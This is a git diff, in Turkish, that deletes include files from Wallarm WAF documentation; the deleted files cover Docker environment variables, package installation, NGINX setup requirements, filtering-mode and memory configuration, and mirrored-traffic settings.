              Değişken açıkça belirtilmezse veya boş `""` bir değere sahipse, NGINX hem IPv6 hem IPv4 bağlantılarını işler. | Hayır -`WALLARM_APIFW_ENABLE` | Bu ayar, 4.10 sürümünden itibaren kullanılabilen [API Spesifikasyonu Yaptırımı][api-policy-enf-docs] özelliğini açıp kapatır. Lütfen bu özelliği etkinleştirmenin, gerekli abonelik ve Wallarm Console UI üzerinden yapılandırmanın yerine geçmediğini unutmayın.

              Varsayılan değeri `true` olup işlevi etkinleştirir. | Hayır -`WALLARM_APID_ONLY` (5.3.7 ve üzeri) | Bu modda, trafiğinizde tespit edilen saldırılar düğüm tarafından yerel olarak engellenir ([etkinse][filtration-modes]), ancak Wallarm Cloud'a aktarılmaz. Bu arada, [API Keşfi][api-discovery-docs] ve bazı diğer özellikler tamamen işlevsel kalır; API envanterinizi tespit eder ve görselleştirme için Cloud'a yükler. Bu mod, önce API envanterlerini gözden geçirmek ve hassas verileri belirlemek isteyen ve buna göre kontrollü saldırı verisi dışa aktarmayı planlayanlar içindir. Ancak saldırı ihracatını devre dışı bırakmak nadirdir; çünkü Wallarm saldırı verilerini güvenli bir şekilde işler ve gerekirse [hassas saldırı verisi maskeleme][sensitive-data-rule] sağlar. [Daha fazla ayrıntı][apid-only-mode-details]
              Varsayılan olarak: `false`. | Hayır -`APIFW_METRICS_ENABLED` (6.4.1 ve üzeri) | API Spesifikasyonu Yaptırımı modülü için Prometheus metriklerini etkinleştirir.
              Varsayılan olarak: `false` (devre dışı). | Hayır -`APIFW_METRICS_HOST` (6.4.1 ve üzeri) | API Spesifikasyonu Yaptırımı'nın metrikleri sunduğu ana makine ve bağlantı noktasını tanımlar.
              Varsayılan olarak: `:9010`. | Hayır -`APIFW_METRICS_ENDPOINT_NAME` (6.4.1 ve üzeri) | API Spesifikasyonu Yaptırımı metrikleri uç noktasının HTTP yolunu tanımlar
              Varsayılan olarak: `metrics`. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-4.10.md b/include-tr/waf/installation/nginx-docker-env-vars-to-mount-4.10.md deleted file mode 100644 index f7e7ea4e60..0000000000 --- a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-4.10.md +++ /dev/null @@ -1,5 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm düğümü veya API belirteci. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan olarak: `api.wallarm.com`. | Hayır -`WALLARM_LABELS` |

              Düğüm 4.6'dan itibaren kullanılabilir. Yalnızca `WALLARM_API_TOKEN` `Deploy` rolüne sahip [API belirteci][api-token] olarak ayarlanmışsa çalışır. Düğüm örneklerini gruplamak için `group` etiketini ayarlar, örneğin:

              `WALLARM_LABELS="group="`

              ...düğüm örneğini `` örnek grubuna yerleştirir (varsa mevcut olana, yoksa oluşturulur).

              | Evet (API belirteçleri için) \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-4.2.md b/include-tr/waf/installation/nginx-docker-env-vars-to-mount-4.2.md deleted file mode 100644 index f2c5687d0c..0000000000 --- a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-4.2.md +++ /dev/null @@ -1,4 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm düğüm belirteci.

              Wallarm Cloud erişimini yapılandıran önceki değişkenler

              Sürüm 4.0 yayınlanmadan önce, `WALLARM_API_TOKEN`'dan önce kullanılan değişkenler `DEPLOY_USERNAME` ve `DEPLOY_PASSWORD` idi. Yeni sürümle birlikte, Wallarm Cloud'a erişim için belirteç tabanlı yeni yaklaşımın kullanılması önerilir. [Yeni düğüm sürümüne geçiş hakkında daha fazla ayrıntı](/updating-migrating/docker-container/)

              | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` US Cloud için
              • `api.wallarm.com` EU Cloud için
              Varsayılan olarak: `api.wallarm.com`. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-4.4.md b/include-tr/waf/installation/nginx-docker-env-vars-to-mount-4.4.md deleted file mode 100644 index c19478a479..0000000000 --- a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-4.4.md +++ /dev/null @@ -1,4 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm düğüm token'ı.

              Birden fazla kurulum için tek bir token kullanma

              Seçilen platformdan bağımsız olarak birden fazla kurulumda tek bir token kullanabilirsiniz. Bu, Wallarm Console UI içinde düğüm örneklerinin mantıksal olarak gruplandırılmasına olanak tanır. Örnek: bir geliştirme ortamına birkaç Wallarm düğümü dağıtırsınız, her düğüm belirli bir geliştiriciye ait ayrı bir makinede çalışır.

              | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` US Cloud için
              • `api.wallarm.com` EU Cloud için
              Varsayılan: `api.wallarm.com`. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-5.0.md b/include-tr/waf/installation/nginx-docker-env-vars-to-mount-5.0.md deleted file mode 100644 index a75db2da82..0000000000 --- a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-5.0.md +++ /dev/null @@ -1,7 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm düğümü veya API belirteci. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan olarak: `api.wallarm.com`. | Hayır -`WALLARM_LABELS` |

              Düğüm 4.6'dan itibaren kullanılabilir. Yalnızca `WALLARM_API_TOKEN`, `Deploy` rolüne sahip [API belirteci][api-token] olarak ayarlanmışsa çalışır. Düğüm örneklerini gruplamak için `group` etiketini belirler, örneğin:

              `WALLARM_LABELS="group="`

              ...düğüm örneğini `` örnek grubuna yerleştirir (varsa mevcut olana, yoksa oluşturulur).

              | Evet (API belirteçleri için) -`WALLARM_APID_ONLY` (5.3.7 ve üzeri) | Bu modda, trafiğinizde tespit edilen saldırılar düğüm tarafından yerel olarak engellenir ([etkinleştirildiyse][filtration-modes]) ancak Wallarm Cloud'a aktarılmaz. Bu arada, [API Discovery][api-discovery-docs] ve bazı diğer özellikler tamamen işlevsel kalır, API envanterinizi tespit eder ve görselleştirme için Cloud'a yükler. Bu mod, önce API envanterlerini gözden geçirmek ve hassas verileri belirlemek, ardından kontrollü saldırı verisi aktarımını buna göre planlamak isteyenler içindir. Ancak, Wallarm saldırı verilerini güvenli şekilde işler ve gerekirse [hassas saldırı verisi maskeleme][sensitive-data-rule] sağladığından, saldırı aktarımının devre dışı bırakılması nadirdir. [Daha fazla bilgi][apid-only-mode-details]
              Varsayılan olarak: `false`. | Hayır -`APIFW_API_MODE_MAX_ERRORS_IN_RESPONSE` (5.x serisinde 5.3.12 ve sonrasında) | [API Spesifikasyonu Uygulama][api-policy-enf-docs] sırasında tek bir istekte tespit edilebilecek hata sayısını sınırlar.

              Varsayılan değer `3`'tür.

              Bu değeri artırırsanız, uygun şekilde bağlanmış yapılandırma dosyasında belirterek [`subrequest_output_buffer_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#subrequest_output_buffer_size) NGINX yönergesinin değerini de artırın. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-latest.md b/include-tr/waf/installation/nginx-docker-env-vars-to-mount-latest.md deleted file mode 100644 index d01579663b..0000000000 --- a/include-tr/waf/installation/nginx-docker-env-vars-to-mount-latest.md +++ /dev/null @@ -1,10 +0,0 @@ -Ortam değişkeni | Açıklama| Zorunlu ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm düğümü veya API belirteci. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` US Cloud için
              • `api.wallarm.com` EU Cloud için
              Varsayılan olarak: `api.wallarm.com`. | Hayır -`WALLARM_LABELS` |

              Düğüm 4.6'dan itibaren kullanılabilir. Yalnızca `WALLARM_API_TOKEN`, `Deploy` rolüne sahip [API belirteci][api-token] olarak ayarlanmışsa çalışır. Düğüm örneklerini gruplamak için `group` etiketini ayarlar, örneğin:

              `WALLARM_LABELS="group="`

              ...düğüm örneğini `` örnek grubuna yerleştirir (mevcutsa veya mevcut değilse oluşturulacaktır).

              | Evet (API belirteçleri için) -`SLAB_ALLOC_ARENA` (`TARANTOOL_MEMORY_GB` [NGINX Node 5.x ve daha eski sürümler][what-is-new-wstore]) | [wstore için ayrılan bellek miktarı][allocating-memory-guide]. Değer bir float olabilir (ondalık ayırıcı olarak nokta . kullanılır). Varsayılan olarak: 1.0 (1 gigabayt). | Hayır -`WALLARM_APID_ONLY` (5.3.7 ve üzeri) | Bu modda, trafiğinizde tespit edilen saldırılar düğüm tarafından yerel olarak engellenir (eğer [etkinleştirildiyse][filtration-modes]) ancak Wallarm Cloud'a aktarılmaz. Bu arada, [API Discovery][api-discovery-docs] ve bazı diğer özellikler tam işlevsel kalır, API envanterinizi tespit eder ve görselleştirme için Cloud'a yükler. Bu mod, API envanterini önce gözden geçirmek ve hassas verileri belirlemek, ardından kontrollü saldırı veri aktarımını buna göre planlamak isteyenler içindir. Ancak, saldırı aktarımını devre dışı bırakmak nadirdir; çünkü Wallarm saldırı verilerini güvenli bir şekilde işler ve gerekirse [hassas saldırı verisi maskeleme][sensitive-data-rule] sağlar. [Daha fazla bilgi][apid-only-mode-details]
              Varsayılan olarak: `false`. | Hayır -`APIFW_METRICS_ENABLED` (6.4.1 ve üzeri) | API Specification Enforcement modülü için Prometheus metriklerini etkinleştirir.
              Varsayılan olarak: `false` (devre dışı). | Hayır -`APIFW_METRICS_HOST` (6.4.1 ve üzeri) | API Specification Enforcement'in metrikleri sunduğu ana bilgisayar ve portu tanımlar.
              Varsayılan olarak: `:9010`. | Hayır -`APIFW_METRICS_ENDPOINT_NAME` (6.4.1 ve üzeri) | API Specification Enforcement metrik uç noktasının HTTP yolunu tanımlar
              Varsayılan olarak: `metrics`. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-env-vars-to-mount.md b/include-tr/waf/installation/nginx-docker-env-vars-to-mount.md deleted file mode 100644 index 931c626da0..0000000000 --- a/include-tr/waf/installation/nginx-docker-env-vars-to-mount.md +++ /dev/null @@ -1,6 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`DEPLOY_USER` | Wallarm Console'daki **Deploy** veya **Administrator** kullanıcı hesabının e-posta adresi.| Evet -`DEPLOY_PASSWORD` | Wallarm Console'daki **Deploy** veya **Administrator** kullanıcı hesabının parolası. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` US Cloud için
              • `api.wallarm.com` EU Cloud için
              Varsayılan olarak: `api.wallarm.com`. | Hayır -`DEPLOY_FORCE` | Çalıştırdığınız konteynerin tanımlayıcısı mevcut bir Wallarm düğümünün adıyla eşleşirse, mevcut Wallarm düğümünü yenisiyle değiştirir. Değişkene şu değerler atanabilir:
              • filtreleme düğümünü değiştirmek için `true`
              • filtreleme düğümünün değiştirilmesini devre dışı bırakmak için `false`
              Varsayılan değer (değişken konteynere iletilmezse) `false`'dur.
              Wallarm düğümünün adı her zaman çalıştırdığınız konteynerin tanımlayıcısıyla eşleşir. Ortamınızdaki Docker konteyner tanımlayıcıları statik ise ve filtreleme düğümüyle başka bir Docker konteyneri çalıştırmaya çalışıyorsanız (örneğin, imajın yeni bir sürümüne sahip bir konteyner), filtreleme düğümünün değiştirilmesi yararlıdır. Bu durumda değişkenin değeri `false` ise, filtreleme düğümü oluşturma işlemi başarısız olur. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-installation-options.md b/include-tr/waf/installation/nginx-installation-options.md deleted file mode 100644 index 94eb96ceb3..0000000000 --- a/include-tr/waf/installation/nginx-installation-options.md +++ /dev/null @@ -1,6 +0,0 @@ -Wallarm node'da isteklerin işlenmesi iki aşamaya ayrılır: - -* NGINX-Wallarm modülünde birincil işleme. Bu işlem bellek açısından yoğun değildir ve sunucu gereksinimlerini değiştirmeden ön uç sunucularına yerleştirilebilir. -* postanalytics modülünde işlenen isteklerin istatistiksel analizi. Postanalytics bellek açısından yoğundur; bu, sunucu yapılandırmasında değişiklik yapılmasını veya postanalytics'in ayrı bir sunucuya kurulmasını gerektirebilir. - -Sistem mimarisine bağlı olarak, NGINX-Wallarm ve postanalytics modülleri **aynı sunucuya** veya **farklı sunuculara** kurulabilir. \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-postanalytics-2.12.md b/include-tr/waf/installation/nginx-postanalytics-2.12.md deleted file mode 100644 index c1ee02be61..0000000000 --- a/include-tr/waf/installation/nginx-postanalytics-2.12.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "Debian" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOS" - ```bash - sudo yum install wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-postanalytics.md b/include-tr/waf/installation/nginx-postanalytics.md deleted file mode 100644 index 8252c6c4c5..0000000000 --- a/include-tr/waf/installation/nginx-postanalytics.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "Debian" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOS veya Amazon Linux 2.0.2021x ve altı" - ```bash - sudo yum install wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-requirements-3.0.md b/include-tr/waf/installation/nginx-requirements-3.0.md deleted file mode 100644 index be8a8760da..0000000000 --- a/include-tr/waf/installation/nginx-requirements-3.0.md +++ /dev/null @@ -1,10 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** veya **Deploy** rolüne sahip hesaba erişim -* SELinux’un devre dışı bırakılmış olması veya [talimatlar][configure-selinux-instr] doğrultusunda yapılandırılmış olması -* Tüm komutların süper kullanıcı olarak (örn. `root`) çalıştırılması -* İstek işleme ve postanalytics farklı sunucularda olacaksa: postanalytics’in ayrı bir sunucuya [talimatlar][install-postanalytics-instr] doğrultusunda kurulmuş olması -* Paketleri indirmek için `https://repo.wallarm.com` erişimi. Erişimin güvenlik duvarı tarafından engellenmediğinden emin olun -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com:444` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com:444` erişimi. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa [talimatları][configure-proxy-balancer-instr] kullanın -* Saldırı tespit kurallarına ilişkin güncellemeleri indirmek ve [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP adreslerini almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Yüklü bir metin düzenleyici (**vim**, **nano** veya başka biri). Bu talimatta **vim** kullanılmaktadır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-requirements.md b/include-tr/waf/installation/nginx-requirements.md deleted file mode 100644 index dafd62fc78..0000000000 --- a/include-tr/waf/installation/nginx-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** veya **Deploy** rolüne sahip hesaba erişim -* SELinux'un devre dışı bırakılması veya [talimatlara][configure-selinux-instr] göre yapılandırılması -* Tüm komutların ayrıcalıklı kullanıcı olarak (örn. `root`) çalıştırılması -* İstek işleme ve postanalytics farklı sunucularda olacaksa: postanalytics'in ayrı bir sunucuya [talimatlara][install-postanalytics-instr] göre kurulmuş olması -* Paketleri indirmek için `https://repo.wallarm.com` erişimi. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com:444` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com:444` erişimi. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa [talimatları][configure-proxy-balancer-instr] kullanın -* **vim**, **nano** veya başka bir metin düzenleyici yüklü. Bu talimatta **vim** kullanılmaktadır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-waf-min-configuration-2.16.md b/include-tr/waf/installation/nginx-waf-min-configuration-2.16.md deleted file mode 100644 index 500f394860..0000000000 --- a/include-tr/waf/installation/nginx-waf-min-configuration-2.16.md +++ /dev/null @@ -1,87 +0,0 @@ -NGINX ve Wallarm filtreleme düğümünün ana yapılandırma dosyaları aşağıdaki dizinlerde bulunur: - -* `/etc/nginx/conf.d/default.conf` — NGINX ayarları -* `/etc/nginx/conf.d/wallarm.conf` — küresel filtreleme düğümü ayarları - - Bu dosya, tüm alan adlarına uygulanan ayarlar için kullanılır. Farklı alan adı gruplarına farklı ayarlar uygulamak için `default.conf` dosyasını kullanın veya her alan adı grubu için yeni yapılandırma dosyaları oluşturun (örneğin, `example.com.conf` ve `test.com.conf`). NGINX yapılandırma dosyaları hakkında daha detaylı bilgi [resmi NGINX dokümantasyonunda](https://nginx.org/en/docs/beginners_guide.html) mevcuttur. -* `/etc/nginx/conf.d/wallarm-status.conf` — Wallarm düğümü izleme ayarları. Ayrıntılı açıklama şu [bağlantıda][wallarm-status-instr] mevcuttur -* `/etc/default/wallarm-tarantool` veya `/etc/sysconfig/wallarm-tarantool` — Tarantool veritabanı ayarları - -#### İstek filtreleme modu - -Varsayılan olarak, filtreleme düğümü `off` durumundadır ve gelen istekleri analiz etmez. İstek analizini etkinleştirmek için lütfen şu adımları izleyin: - -1. `/etc/nginx/conf.d/default.conf` dosyasını açın: - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. `wallarm_mode monitoring;` satırını `https`, `server` veya `location` bloğuna ekleyin: - -??? note "Dosya `/etc/nginx/conf.d/default.conf` örneği" - - ```bash - server { - # isteklerin filtrelendiği bağlantı noktası - listen 80; - # isteklerin filtrelendiği alan adı - server_name localhost; - # Filtreleme düğümü modu - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -`monitoring` modunda çalışırken, filtreleme düğümü isteklerde saldırı belirtilerini arar ancak tespit edilen saldırıları engellemez. Filtreleme düğümünü devreye aldıktan sonra trafiği birkaç gün boyunca `monitoring` modunda akıtmaya devam etmenizi ve ancak bundan sonra `block` modunu etkinleştirmenizi öneririz. [Filtreleme düğümünün çalışma modu kurulumuna ilişkin önerileri öğrenin →][waf-mode-recommendations] - -#### Bellek - -!!! info "Ayrı sunucuda postanalytics modülü" - Postanalytics modülünü ayrı bir sunucuya kurduysanız, bu adımı atlayın çünkü modül zaten yapılandırılmış durumda. - -Wallarm düğümü, bellek içi depolama Tarantool’u kullanır. Gerekli kaynak miktarı hakkında daha fazla bilgiyi [buradan][memory-instr] öğrenin. Test ortamları için üretim ortamlarına kıyasla daha düşük kaynaklar ayırabileceğinizi unutmayın. - -Tarantool için bellek ayırmak üzere: - -1. Tarantool yapılandırma dosyasını düzenleme modunda açın: - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve daha düşük" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. `SLAB_ALLOC_ARENA` yönergesinde bellek boyutunu GB cinsinden belirtin. Değer tamsayı veya ondalık olabilir (ondalık ayırıcı olarak nokta `.` kullanılır). - - Tarantool için bellek ayırmaya ilişkin ayrıntılı öneriler bu [talimatlarda][memory-instr] açıklanmaktadır. -3. Değişiklikleri uygulamak için Tarantool’u yeniden başlatın: - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### Ayrı postanalytics sunucusunun adresi - -!!! info "Aynı sunucuda NGINX-Wallarm ve postanalytics" - NGINX-Wallarm ve postanalytics modülleri aynı sunucuya kuruluysa, bu adımı atlayın. - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### Diğer yapılandırmalar - -Diğer NGINX ve Wallarm düğümü yapılandırmalarını güncellemek için NGINX dokümantasyonunu ve [kullanılabilir Wallarm düğüm yönergeleri][waf-directives-instr] listesini kullanın. \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-waf-min-configuration-3.6.md b/include-tr/waf/installation/nginx-waf-min-configuration-3.6.md deleted file mode 100644 index 23b85ca759..0000000000 --- a/include-tr/waf/installation/nginx-waf-min-configuration-3.6.md +++ /dev/null @@ -1,91 +0,0 @@ -NGINX ve Wallarm filtreleme düğümünün ana yapılandırma dosyaları şu dizinlerde bulunur: - -* `/etc/nginx/conf.d/default.conf` — NGINX ayarları -* `/etc/nginx/conf.d/wallarm.conf` — global filtreleme düğümü ayarları - - Bu dosya, tüm etki alanlarına uygulanan ayarlar için kullanılır. Farklı etki alanı gruplarına farklı ayarlar uygulamak için `default.conf` dosyasını kullanın veya her etki alanı grubu için yeni yapılandırma dosyaları oluşturun (örneğin, `example.com.conf` ve `test.com.conf`). NGINX yapılandırma dosyaları hakkında daha ayrıntılı bilgi [resmi NGINX dokümantasyonunda](https://nginx.org/en/docs/beginners_guide.html) mevcuttur. -* `/etc/nginx/conf.d/wallarm-status.conf` — Wallarm düğümünün izleme ayarları. Ayrıntılı açıklama şu [bağlantıda][wallarm-status-instr] mevcuttur -* `/etc/default/wallarm-tarantool` veya `/etc/sysconfig/wallarm-tarantool` — Tarantool veritabanı ayarları - -#### İstek filtreleme modu - -Varsayılan olarak, filtreleme düğümü `off` durumundadır ve gelen istekleri analiz etmez. İstek analizini etkinleştirmek için lütfen şu adımları izleyin: - -1. `/etc/nginx/conf.d/default.conf` dosyasını açın: - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. `wallarm_mode monitoring;` satırını `https`, `server` veya `location` bloğuna ekleyin: - -??? note "Dosya `/etc/nginx/conf.d/default.conf` örneği" - - ```bash - server { - # isteklerin filtrelendiği bağlantı noktası - listen 80; - # isteklerin filtrelendiği alan adı - server_name localhost; - # Filtreleme düğümü modu - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -`monitoring` modunda çalışırken, filtreleme düğümü isteklerde saldırı belirtilerini arar ancak tespit edilen saldırıları engellemez. Filtreleme düğümünü devreye aldıktan sonra trafiğin birkaç gün boyunca `monitoring` modunda düğüm üzerinden akmasını ve ancak bundan sonra `block` modunu etkinleştirmenizi öneririz. [Filtreleme düğümünün çalışma modu yapılandırmasına ilişkin önerileri öğrenin →][waf-mode-recommendations] - -#### Bellek - -!!! info "Ayrı sunucuda Postanalytics modülü" - Postanalytics modülünü ayrı bir sunucuya kurduysanız, modül zaten yapılandırıldığı için bu adımı atlayın. - -Wallarm düğümü, bellek içi depolama Tarantool'u kullanır. Gerekli kaynak miktarı hakkında daha fazla bilgiyi [buradan][memory-instr] edinebilirsiniz. Test ortamları için üretim ortamlarına kıyasla daha az kaynak ayırabileceğinizi unutmayın. - -Tarantool için bellek ayırmak üzere: - -1. Tarantool yapılandırma dosyasını düzenleme modunda açın: - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve altı" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. Bellek boyutunu GB cinsinden `SLAB_ALLOC_ARENA` yönergesinde belirtin. Değer bir tamsayı veya kayan nokta olabilir (ondalık ayırıcı olarak nokta `.` kullanılır). - - Tarantool için bellek ayırmaya ilişkin ayrıntılı öneriler bu [talimatlarda][memory-instr] açıklanmıştır. -3. Değişiklikleri uygulamak için Tarantool'u yeniden başlatın: - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### Ayrı postanalytics sunucusunun adresi - -!!! info "NGINX-Wallarm ve postanalytics aynı sunucuda" - NGINX-Wallarm ve postanalytics modülleri aynı sunucuya kuruluysa, bu adımı atlayın. - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### Diğer yapılandırmalar - -Diğer NGINX ve Wallarm düğümü yapılandırmalarını güncellemek için NGINX dokümantasyonunu ve [kullanılabilir Wallarm düğümü yönergeleri][waf-directives-instr] listesini kullanın. \ No newline at end of file diff --git a/include-tr/waf/installation/oob/steps-for-mirroring-cloud.md b/include-tr/waf/installation/oob/steps-for-mirroring-cloud.md deleted file mode 100644 index 507b3c6696..0000000000 --- a/include-tr/waf/installation/oob/steps-for-mirroring-cloud.md +++ /dev/null @@ -1,44 +0,0 @@ -Varsayılan olarak, dağıtılan Wallarm node gelen trafiği analiz etmez. - -Trafik analizini başlatmak için, Wallarm örneğindeki `/etc/nginx/sites-enabled/default` dosyasını aşağıdaki gibi değiştirin: - -1. Wallarm node'un yansıtılmış trafiği kabul etmesi için, NGINX'in `server` bloğuna aşağıdaki yapılandırmayı ekleyin: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22 adresini yansıtma sunucusunun adresiyle değiştirin - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - - Wallarm Console'un saldırganların IP adreslerini [gösterebilmesi][real-ip-docs] için `set_real_ip_from` ve `real_ip_header` yönergeleri gereklidir. - - Yansıtılmış trafikten alınan kopyalar dışında tüm isteklerin analizini devre dışı bırakmak için `wallarm_force_response_*` yönergeleri gereklidir. -1. Wallarm node'un yansıtılmış trafiği analiz edebilmesi için `wallarm_mode` yönergesini `monitoring` olarak ayarlayın: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Kötü amaçlı istekler [engellenemez][oob-advantages-limitations] olduğundan, Wallarm'ın kabul ettiği tek [mod][wallarm-mode] monitoring'dir. Satır içi (inline) dağıtım için güvenli engelleme ve engelleme modları da vardır ancak `wallarm_mode` yönergesini monitoring'den farklı bir değere ayarlasanız bile, Wallarm node trafiği izlemeye devam eder ve yalnızca kötü amaçlı trafiği kaydeder (off olarak ayarlanan mod hariç). -1. Varsa, trafiğin yerel dosya müdahalesi olmadan Wallarm'a yönlendirilmesini sağlamak için NGINX lokasyonlarından `try_files` yönergesini kaldırın: - - ```diff - server { - ... - location / { - - # try_files $uri $uri/ =404; - } - ... - } - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md b/include-tr/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md deleted file mode 100644 index f59dadc881..0000000000 --- a/include-tr/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md +++ /dev/null @@ -1,44 +0,0 @@ -Varsayılan olarak, dağıtılan Wallarm node gelen trafiği analiz etmez. - -Kurulu node'un bulunduğu makinede Wallarm'ın trafik yansısını işlemesi için NGINX [yapılandırma dosyasında](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) aşağıdaki yapılandırmayı uygulayın: - -1. Wallarm node'un yansıtılan trafiği kabul etmesi için, NGINX'in `server` bloğunda aşağıdaki yapılandırmayı yapın: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22 adresini yansıtma sunucusunun adresiyle değiştirin - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * Wallarm Console'da [saldırganların IP adreslerini görüntülemek][proxy-balancer-instr] için `set_real_ip_from` ve `real_ip_header` yönergeleri gereklidir. - * Yansıtılan trafikten alınan kopyalar haricindeki tüm isteklerin analizini devre dışı bırakmak için `wallarm_force_response_*` yönergeleri gereklidir. -1. Wallarm node'un yansıtılan trafiği analiz etmesi için, `wallarm_mode` yönergesini `monitoring` olarak ayarlayın: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Kötü amaçlı istekler [engellenemez][oob-advantages-limitations], bu nedenle Wallarm'ın kabul ettiği tek [mod][waf-mode-instr] monitoring'dir. In-line dağıtım için Safe blocking ve blocking modları da vardır ancak `wallarm_mode` yönergesini monitoring dışında bir değere ayarlasanız bile, node trafiği izlemeye devam eder ve yalnızca kötü amaçlı trafiği kaydeder (off olarak ayarlanan mod dışında). -1. Varsa, trafiğin yerel dosya müdahalesi olmadan Wallarm'a yönlendirildiğinden emin olmak için NGINX location'larından `try_files` yönergesini kaldırın: - - ```diff - server { - ... - location / { - - # try_files $uri $uri/ =404; - } - ... - } - ``` \ No newline at end of file diff --git 